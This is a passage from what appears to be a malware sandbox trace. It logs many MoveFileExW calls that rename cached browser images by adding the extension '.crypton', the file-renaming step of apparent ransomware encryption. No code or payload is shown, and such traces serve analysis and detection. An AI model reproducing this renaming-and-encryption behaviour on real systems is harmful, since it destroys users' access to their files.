HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbocib[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOcIb[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbocib[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.188] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboddp[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboddp[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.203] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbomar[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbomar[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.214] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbr4yq[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbr4yq[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.223] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbupaj[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbupaj[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.235] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbveow[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbveow[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.240] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvlcg[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvlcg[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.244] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvskp[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvskp[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.250] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbyfeh[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbyfeh[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.264] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbz5vt[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbz5vt[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.269] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.273] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[2].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[2].jpg.crypton"), dwFlags=0x2) returned 1 [0201.277] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc03b1[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc03b1[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.280] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc06ub[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc06ub[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.284] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0djg[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0djg[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.288] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0g7a[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0g7a[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.293] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0lf2[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0lf2[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0lf2[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.299] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0mk1[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0mK1[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0mk1[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.306] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0qlb[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0qlB[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0qlb[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.315] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe7kpz[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE7KPZ[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe7kpz[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.319] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe8ila[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE8IlA[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe8ila[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.328] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe972f[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE972F[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe972f[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.337] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe9tdx[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBE9tdx[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbe9tdx[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.346] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbedrqt[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEdrqt[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbedrqt[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.350] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeewt[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeEwt[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeewt[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.403] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeis3[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeis3[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeeis3[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.409] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeekvv[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeKvV[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeekvv[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.442] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeend8[1].png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeend8[1].png.crypton"), dwFlags=0x2) returned 1 [0201.452] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeewzb[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeewzb[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.459] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeez0k[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeZ0k[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeez0k[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.468] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbef6s4[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEf6s4[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbef6s4[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.473] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefac5[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfAc5[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefac5[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.479] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefgdi[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfgDi[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefgdi[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.484] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefjut[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfjuT[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefjut[1].jpg.crypton"), dwFlags=0x2) returned 1 [0201.491] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefkgi[1].jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEfkgi[1].jpg.crypton" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbefkgi[1].jpg.crypton"), dwFlags=0x2) returned 1 